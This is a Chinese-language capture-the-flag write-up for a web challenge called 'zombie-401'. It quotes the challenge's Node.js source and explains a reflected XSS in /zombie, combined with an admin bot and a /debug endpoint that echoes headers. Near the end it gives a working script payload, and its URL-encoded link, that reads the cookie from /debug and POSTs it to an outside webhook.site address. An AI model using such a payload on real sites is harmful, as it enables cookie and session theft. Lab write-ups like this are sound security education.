zombie-401

17743520638 2024-03-01 20:46:46 700 0


对应于源码的html文件

<!DOCTYPE html>
<html>
<head>
<title>Zombie Fan Page</title>
</head>
<body>
<p>Welcome to the Zombie fan page!</p>
<form method="get" action="/zombie">
<label for="show">Tell us your favorite zombie show:</label><br>
<input type="text" id="show" name="show"><br><br>
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>
<form method="get" action="/visit">
<label for="url">Give us a URL to a cool zombie page and our admin will check it out:</label><br>
<input type="text" id="url" name="url"><br><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

顺着代码去找相应的路径,/zombie和/visit在index.js中

app.get('/zombie', function(req, res) {
const show = req.query.show
if (!show) {
res.send('Hmmmm, you did not mention a show')
return
}

const rating = Math.floor(Math.random() * 3)
let blurb
switch (rating) {
case 2:
blurb = `Wow, we really liked ${show} too!`
break;
case 1:
blurb = `Yeah, ${show} was ok... I guess.`
break;
case 0:
blurb = `Sorry, ${show} was horrible.`
break;
}
res.send(blurb)
})

在第一个框里输入字符保存在show变量里,会随机跳到某一个case语句里回显blurb里的内容,在这块可看出show变量是没有做任何过滤或限制,可想到xss注入,去尝试一下


再来看/visit

app.get('/visit', function(req, res) {
const validateError = validateRequest(req)
if (validateError) {
res.send(validateError)
return
}

const file = 'node'
const args = ['bot.js', config.httpOnly, req.hostname, req.query.url]
const options = { timeout: 10000 }
const callback = function(error, stdout, stderr) {
console.log(error, stdout, stderr);
res.send('admin bot has visited your url')
}

exec.execFile(file, args, options, callback)
});

它先是把在第二个框里输入的东西保存在req变量里,执行validateRequest()函数,然后开启一个新的应用程序node,去解析bot.js(相当于在命令行里执行python文件如'python test.py')

//validateRequest()函数
const validateRequest = (req) => {
const url = req.query.url
if (!url) {
return 'Hmmm, not seeing a URL. Please try again.'
}

let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
return 'Something is wrong with your url: ' + escape(e.message)
}

if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
return 'Our admin is picky. Please provide a url with the http or https protocol.'
}

if (parsedURL.hostname !== req.hostname) {
return `Please provide a url with a hostname of: ${escape(req.hostname)} Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
}

return null
}

这是要我们在第二个框输入一个url,协议必须是http或https,url的主机名必须和parsedURL.hostname相等,一开始我没明白要和谁相等,猜测是本题的网址,一运行果然就成功回显'admin bot has visited your url',那么根据代码分析就跳转到了bot.js中

我发现还有种方式知道这里该写什么,随便输入一个网址,返回一个错误提示,会直接把主机名显示出来,就知道该填什么了

但是直接输入原网址是没有任何东西的,我们需要的是cookie里的flag,也就是要在原网址里插入xss代码,那么在bot.js中用一个用代码实现的虚拟浏览器browser去访问这个url,从而输出它的内容,

//bot.js
const zombie = require("zombie")

const browser = new zombie ({
waitDuration: 5*1000,
localAddress: 0 // without this, calls to localhost fail!
})

const httpOnly = process.argv[2] === 'true'
const hostname = process.argv[3]
const url = process.argv[4]

browser.setCookie({ name: 'flag', domain: hostname, path:'/', value: process.env.FLAG, httpOnly: httpOnly})

browser.visit(url, function() {
console.log("Visited: ", url)
})

flag在cookie里,flag是由一个FLAG常量保存,又由和Dockerfile和docker-compose.yml可知,flag本身存在configfile里,写进了config.json文件里

RUN echo "${configFile}" > ./config.json

configFile: '{"flag": "wctf{redacted}", "httpOnly": false, "allowDebug": true}'

在index.js中,读取config.json的内容即flag值并保存在config变量里,再保存进了FLAG常量中

const config = JSON.parse(fs.readFileSync('config.json'))
process.env.FLAG = config.flag

那么该如何拿到flag呢?我们来看看index.js里的一个get请求路径/debug

app.get('/debug', function(req, res) {
if (config.allowDebug) {
res.send({"remote-ip": req.socket.remoteAddress, ...req.headers})
}
else {
res.send('sorry, debug endpoint is not enabled')
}
})

访问/debug,会给我们回显"remote-ip"包括请求头,那么我们就可以构造xss代码了,去访问这个/debug,把这个xss代码接在url后,通过Webhook.site这个网址就可以获得访问的记录,最终拿到flag

<script>fetch('/debug').then(r=>r.json()).then(j=>fetch('https://webhook.site/8ab574ff-b363-48a3-a1b3-4455a3001925',{method:'POST',body:j.cookie}))</script>

https://zombie-101-tlejfksioa-ul.a.run.app/zombie?show=%3Cscript%3Efetch%28%27%2Fdebug%27%29.then%28r%3D%3Er.json%28%29%29.then%28j%3D%3Efetch%28%27https%3A%2F%2Fwebhook.site%2F8ab574ff-b363-48a3-a1b3-4455a3001925%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Aj.cookie%7D%29%29%3C%2Fscript%3E


分类:WEB
评论
jinyaoqbb 4月前

index.js 是怎么找到的呢

回复 0
image
作者:17743520638

1

提交

0

收入

相关WriteUP

  • sqli-0x1 Writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • [HackINI-2022] lfi WriteUp

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • just-work-type

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • Fetus Web

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 7月前
  • post-the-get

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
问题反馈